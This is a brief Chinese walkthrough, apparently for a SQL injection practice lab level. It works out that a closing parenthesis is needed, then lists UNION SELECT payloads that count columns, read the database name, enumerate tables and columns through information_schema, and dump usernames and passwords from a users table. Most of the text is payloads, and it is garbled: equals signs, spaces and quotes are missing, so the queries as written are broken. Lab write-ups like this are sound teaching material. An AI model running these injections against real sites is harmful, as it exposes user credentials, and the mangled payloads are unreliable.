排除数字型注入1和1’回显都正常输入1报错和第三关一样需要闭合小括号?id1) order by 3 -- ?id1)order by4--?id-1)unionselect1,1,database()--?id-1)unionselect1,1,group_concat(table_name)from information_schema.tables wheretable_schemasecurity--?id-1)unionselect1,1,group_concat(column_name)from information_schema.columns wheretable_nameusers--?id-1)unionselect1,1,group_concat(username,id,password)fromusers--